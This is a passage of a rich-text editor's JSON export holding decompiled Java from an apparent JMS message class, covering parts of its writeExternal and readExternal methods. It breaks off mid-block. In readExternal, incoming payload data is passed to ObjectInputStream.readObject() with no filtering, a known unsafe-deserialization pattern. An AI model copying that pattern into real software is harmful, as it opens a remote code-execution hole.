{&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OX0Y-1673852862605&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ZYrW-1673852862604&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var4 = 2;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CyRR-1673852862608&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TBHN-1673852862607&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;54Kc-1673852862610&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BXZN-1673852862609&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vIfb-1673852862612&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;g2wt-1673852862611&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    var2.writeByte(var4);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Wfrk-1673852862614&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;s9wy-1673852862613&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (this.isCompressed()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hKvx-1673852862616&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;liMy-1673852862615&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (var4 == 2) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hV5y-1673852862618&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4Et9-1673852862617&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.decompress().writeLengthAndData(var2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Bi7I-1673852862620&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vjya-1673852862619&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Demk-1673852862622&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;P1cJ-1673852862621&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.flushCompressedMessageBody(var2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oLlK-1673852862624&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rDxj-1673852862623&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pSDg-1673852862626&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8XKR-1673852862625&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;pX13-1673852862628&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rcng-1673852862627&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;4mVF-1673852862630&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YnMH-1673852862629&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Object var5;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zDAT-1673852862632&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ye7r-1673852862631&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if (this.bos != null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gU7N-1673852862634&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OFRG-1673852862633&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var5 = this.bos;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;y5wO-1673852862636&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DbLt-1673852862635&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;i8UI-1673852862638&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;GU2u-1673852862637&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            if (this.payload == null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q3II-1673852862640&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CWEE-1673852862639&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                var2.writeInt(0);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xxsK-1673852862642&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;fzyx-1673852862641&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                return;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GCB4-1673852862644&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cLJj-1673852862643&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;b0Gy-1673852862646&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NZTX-1673852862645&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UO3U-1673852862648&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jiOU-1673852862647&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var5 = this.payload;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;CORg-1673852862650&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;g9D1-1673852862649&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Npat-1673852862652&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;34ju-1673852862651&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hk13-1673852862654&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5FCZ-1673852862653&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        if ((var4 &amp; -128) != 0) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cCvc-1673852862656&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cqqo-1673852862655&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.writeExternalCompressPayload(var2, (Payload)var5);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ow1e-1673852862658&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6hI1-1673852862657&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5LfR-1673852862660&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QJGV-1673852862659&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            ((Payload)var5).writeLengthAndData(var2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ejf5-1673852862662&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;e6Y7-1673852862661&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Kfvf-1673852862664&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;6BMA-1673852862663&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cWzn-1673852862666&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;F5Sa-1673852862665&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cdKt-1673852862668&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DDRv-1673852862667&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GnA9-1673852863122&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;H0RE-1673852863121&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;D6pP-1673852863296&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Z0pX-1673852863295&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BZ5k-1673852880318&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;en7O-1673852880317&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    super.readExternal(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JnUg-1673852880320&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hNqw-1673852880319&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    byte var2 = var1.readByte();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lFar-1673852880322&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QVQO-1673852880321&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    byte var3 = (byte)(var2 &amp; 127);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hGTa-1673852880324&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Nk95-1673852880323&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    if (var3 &gt;= 1 &amp;&amp; var3 &lt;= 3) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;G5WF-1673852880326&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hImJ-1673852880325&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        switch (var3) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zTyQ-1673852880328&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Vpob-1673852880327&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            case 1:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5djk-1673852880330&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;piWI-1673852880329&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                this.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OvgL-1673852880332&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dwGN-1673852880331&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                BufferInputStream var4 = this.payload.getInputStream();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8GQ9-1673852880334&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Uucs-1673852880333&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                ObjectInputStream var5 = new ObjectInputStream(var4);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QKeu-1673852880336&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xsHo-1673852880335&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                this.setBodyWritable(true);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZQL2-1673852880338&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;T30b-1673852880337&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                this.setPropertiesWritable(true);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1CSo-1673852880340&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zAUh-1673852880339&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Nyer-1673852880342&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vt36-1673852880341&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FW1M-1673852880344&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BVe3-1673852880343&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    while(true) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6TYg-1673852880346&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bbPb-1673852880345&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        this.writeObject(var5.readObject());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Qibw-1673852880348&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Tv6p-1673852880347&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EEms-1673852880350&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;I58J-1673852880349&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                } catch (EOFException var9) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;HSqw-1673852880352&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;adT0-1673852880351&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;s3bD-1673852880354&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IpRZ-1673852880353&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        this.reset();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Bq7j-1673852880356&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vIjp-1673852880355&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        this.setPropertiesWritable(false);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eR0P-1673852880359&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wNP8-1673852880358&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        PayloadStream var7 = this.payload.copyPayloadWithoutSharedStream();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6N9W-1673852880361&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iBD6-1673852880360&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        this.payload = var7;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MuTt-1673852880363&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Y8xf-1673852880362&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    } catch (JMSException var8) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6uXF-1673852880365&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;svmI-1673852880364&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        JMSClientExceptionLogger.logStackTrace(var8);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;TBVb-1673852880367&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XCHk-1673852880366&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5YRW-1673852880369&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;a1Fc-1673852880368&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                } catch (MessageNotWriteableException var10) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PQu3-1673852880371&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;h59x-1673852880370&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    JMSClientExceptionLogger.logStackTrace(var10);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6nEU-1673852880373&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RPlg-1673852880372&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                } catch (javax.jms.MessageFormatException var11) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VVCj-1673852880375&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MNVh-1673852880374&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    JMSClientExceptionLogger.logStackTrace(var11);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KvPl-1673852880377&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;r51f-1673852880376&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                } catch (JMSException var12) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;u1nM-1673852880379&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kwS8-1673852880378&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    JMSClientExceptionLogger.logStackTrace(var12);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WSB6-1673852880381&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jceO-1673852880380&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;N939-1673852880383&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9xNw-1673852880382&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                break;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mMS4-1673852880385&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4FkG-1673852880384&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            case 3:&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;e6D6-1673852880387&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;r4e3-1673852880386&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                if ((var2 &amp; -128) != 0) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6qLK-1673852880389&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dsSU-1673852880388&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    this.readExternalCompressedMessageBody(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;t1Tm-1673852880391&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;zo3a-1673852880390&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                    